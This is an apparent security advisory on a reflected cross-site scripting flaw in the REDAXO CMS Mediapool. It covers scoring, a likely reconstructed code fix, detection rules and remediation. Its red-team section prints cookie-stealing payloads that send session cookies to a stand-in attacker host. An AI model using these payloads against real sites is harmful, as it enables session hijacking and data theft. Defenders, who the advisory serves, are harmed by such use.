CVE-2025-66026

Executive Summary

CVE-2025-66026 is a reflected Cross-Site Scripting (XSS) vulnerability identified in REDAXO, a PHP-based Content Management System (CMS). The flaw resides in the Mediapool view, where the args[types] request parameter is rendered into an info banner without proper HTML-escaping. An authenticated attacker can craft a malicious link that, when visited by another authenticated user, executes arbitrary JavaScript in the backend context. This can lead to session hijacking, data theft, or further compromise of the CMS instance. The vulnerability is patched in REDAXO version 5.20.1.

Supply Chain & Package Security

REDAXO is a PHP CMS distributed via its official website and GitHub repository. The vulnerability is not in a third-party package but in the core application code. Users should ensure they are using the latest patched version (5.20.1) and verify the integrity of their installation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must click crafted link)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for authentication and user interaction reduces the immediate risk. However, in a shared backend environment, a single compromised account can be used to target other administrators.

Deep Dive & Mechanics

The vulnerability exists in the Mediapool view of REDAXO. When a user accesses the media pool, an info banner is displayed. The content of this banner is partially derived from the args[types] parameter in the HTTP request. The application fails to HTML-escape this parameter before rendering it, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An authenticated attacker crafts a URL containing a malicious payload in the args[types] parameter, e.g., https://target.com/redaxo/index.php?page=mediapool&args[types]=<script>alert('XSS')</script>.
2. The attacker sends this link to another authenticated user (e.g., via email or internal chat).
3. The victim, while logged into REDAXO, clicks the link.
4. The server processes the request and renders the info banner with the unescaped payload.
5. The victim's browser executes the injected JavaScript in the context of the REDAXO backend.

Impact: The attacker can perform actions on behalf of the victim, such as creating new admin accounts, modifying content, or exfiltrating sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 5.20.1):

// In mediapool view, likely in a file like mediapool.php
$types = rex_request('args[types]', 'string');
echo '<div class="info">' . $types . '</div>';

Patched Code (5.20.1):

// Properly escape the output
$types = rex_request('args[types]', 'string');
echo '<div class="info">' . rex_escape($types) . '</div>';

The rex_escape() function (or equivalent) HTML-encodes special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A REDAXO instance (version < 5.20.1)
• Two authenticated user accounts (attacker and victim)

Exploit Steps:

1. Log in as the attacker.
2. Craft a malicious URL:

   http://target.com/redaxo/index.php?page=mediapool&args[types]=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Send this link to the victim (e.g., via email).
4. When the victim clicks the link, their session cookie is sent to the attacker's server.

Example Payload (Steal Cookies):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /redaxo/index.php with page=mediapool and suspicious args[types] parameters containing <script> or onerror etc.
• Use WAF rules to block requests with HTML/JavaScript in the args[types] parameter.

Response:

• Immediately patch to version 5.20.1.
• If patching is not possible, implement a virtual patch by adding input validation in a reverse proxy (e.g., Nginx if block or ModSecurity rule).
• Rotate all session cookies and force re-authentication for all users.
• Review logs for any signs of exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /redaxo/index.php with page=mediapool and args[types] containing <script>, onerror, onload, or other event handlers.
  • Outbound connections from the REDAXO server to unknown IPs/domains (potential data exfiltration).

• Host IOCs:

  • Unusual entries in REDAXO access logs showing the malicious parameter.
  • Presence of unexpected admin accounts or modified content.

• File IOCs:

  • Modified core files (e.g., mediapool.php) if an attacker uploaded a backdoor.

Detection Engineering

YARA Rule

rule CVE_2025_66026_REDAXO_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-66026 in REDAXO Mediapool"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66026"
    strings:
        $xss_payload = /args\[types\]=.*<script/i
        $xss_payload2 = /args\[types\]=.*onerror/i
        $xss_payload3 = /args\[types\]=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-66026 REDAXO Mediapool XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit reflected XSS in REDAXO Mediapool
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "page=mediapool"
            - "args[types]="
        cs-uri-query|re: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66026 REDAXO Mediapool XSS Attempt"; flow:to_server; content:"page=mediapool"; http_uri; content:"args[types]="; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade REDAXO to version 5.20.1 or later.
2. Virtual Patch: If immediate patching is not possible, implement a WAF rule to block requests containing <script> or event handlers in the args[types] parameter.
3. Input Validation: Add server-side validation to reject any args[types] values containing HTML tags.

Long-Term Measures:

• Enforce output escaping for all user-controlled data.
• Conduct regular security audits and penetration testing.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Educate users about phishing attacks targeting CMS backends.

Valters IT